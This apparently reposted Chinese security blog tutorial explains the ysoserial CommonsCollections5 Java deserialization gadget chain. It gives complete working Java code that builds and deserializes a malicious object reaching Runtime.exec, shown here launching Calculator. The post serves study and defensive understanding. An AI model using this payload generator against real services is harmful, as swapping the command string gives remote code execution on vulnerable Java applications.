Java ysoserial学习之CommonsCollections5(四)

  • A+
所属分类:代码审计 安全文章

庆祝我伟大的党百年华诞🎉

向伟大的祖国敬礼('-'*ゞ

0x00 前言

上节说道在commons-collections-3.2.1.jar!/org/apache/commons/collections/keyvalue/TiedMapEntry.class类中,总共有三个函数调用了getValue函数:

  • toString        CC5   本文重点

  • hashCode     CC6

  • equals          CC7

本文CommonsCollections6利用链的限制条件:

JDK版本:暂无限制、 CommonsCollections 3.1 - 3.2.1

实验环境:

JDK 1.8.0_261 、Commons-Collections 3.2.1

0x01 利用链

/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

这里重点看BadAttributeValueExpException.readObject()TiedMapEntry.toString(),其他的都和前面两章一样 Java ysoserial学习之CommonsCollections1(二)Java ysoserial学习之CommonsCollections6(三)

1.1 TiedMapEntry.toString()

上一节说过解决Java高版本利用问题,实际上就是在找是否还有其他调用 LazyMap#get() 的地方,因为LazyMap对象是只要执行get方法就会调用transform,而transform的特性是可以执行任意方法。

CC6中是在TiedMapEntry类中找到了hashCode方法中调用了map.get(key);,并且map是我们可控的Java ysoserial学习之CommonsCollections5(四)

而CC5中则是利用了TiedMapEntry#toString方法Java ysoserial学习之CommonsCollections5(四)

还是先实验一下,确定可以Java ysoserial学习之CommonsCollections5(四)

但这还不够好,我们希望的是目标反序列化后直接触发命令的执行,因此我们需要找到一个类在反序列化后会直接触发 TiedMapEntry#toString 从而触发命令的执行。

1.2 BadAttributeValueExpException.readObject()

在ysoserial中是利用了 rt.jar!/javax/management/BadAttributeValueExpException.class#readObject方法来达到上述目的Java ysoserial学习之CommonsCollections5(四)

这里我们可以看到BadAttributeValueExpException并没有实现Serializable接口,为什么可以序列化?Java ysoserial学习之CommonsCollections5(四)

其实是BadAttributeValueExpException继承了ExceptionException又继承了ThrowableThrowable实现了Serializable接口Java ysoserial学习之CommonsCollections5(四)

BadAttributeValueExpException#readObject中发现get函数获取val的值然后赋给valObj,然后在符合第二个else if的情况下就会调用toString, 巧的是 System.getSecurityManager() 返回值默认为nullJava ysoserial学习之CommonsCollections5(四)

这样就只需要可以控制val的值就可以执行命令了。

然后我们发现在构造函数中就可以控制val的值,可以直接将tiedMapEntry作为参数传进去。

注意:在构造函数中我们可以看到,当传入一个valval就不等于null,会调用一次toString()方法,也就是说,创建BadAttributeValueExpException对象时会弹出一次计算器,而在我们的构想中,反序列化时也会弹出一次,总共是次。Java ysoserial学习之CommonsCollections5(四)

实验一下Java ysoserial学习之CommonsCollections5(四)

但是,最终发现只弹了一次计算器,也就是说在反序列化时并没有执行toString方法,进而执行命令。

直接在BadAttributeValueExpException#readObject下断点Debug一下,会发现这时valObj是一个字符串了,直接进入了第一个 else if 判断中,并没有进入第二个 else if ,这是因为在创建BadAttributeValueExpException对象时,val已经执行过了一次toString方法,变成了字符串,所以匹配到了**第一个 else if **判断Java ysoserial学习之CommonsCollections5(四)

要想改变val的值就需要用到前面反复提到的反射

// 利用反射修改 BadAttributeValueExpException 中的 val 为 tiedMapEntry
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad, tiedMapEntry);
Java ysoserial学习之CommonsCollections5(四)
image-20210701204112054

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
* @author yhy
* @date 2021/6/30 21:05
* @github https://github.com/yhy0
*/


/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

/*
This only works in JDK 8u76 and WITHOUT a security manager

https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/


public class CommonCollections5 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class},
new Object[]
{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]
{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
// tiedMapEntry.toString();

// 利用反射修改 BadAttributeValueExpException 中的 val 为 tiedMapEntry
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad, tiedMapEntry);

// // 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(bad);

// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}

0x02 参考

天下大木头师傅的 https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#55fcdbc0



免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

来都来了,不关注一波?

本文始发于微信公众号(谁不想当剑仙):Java ysoserial学习之CommonsCollections5(四)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: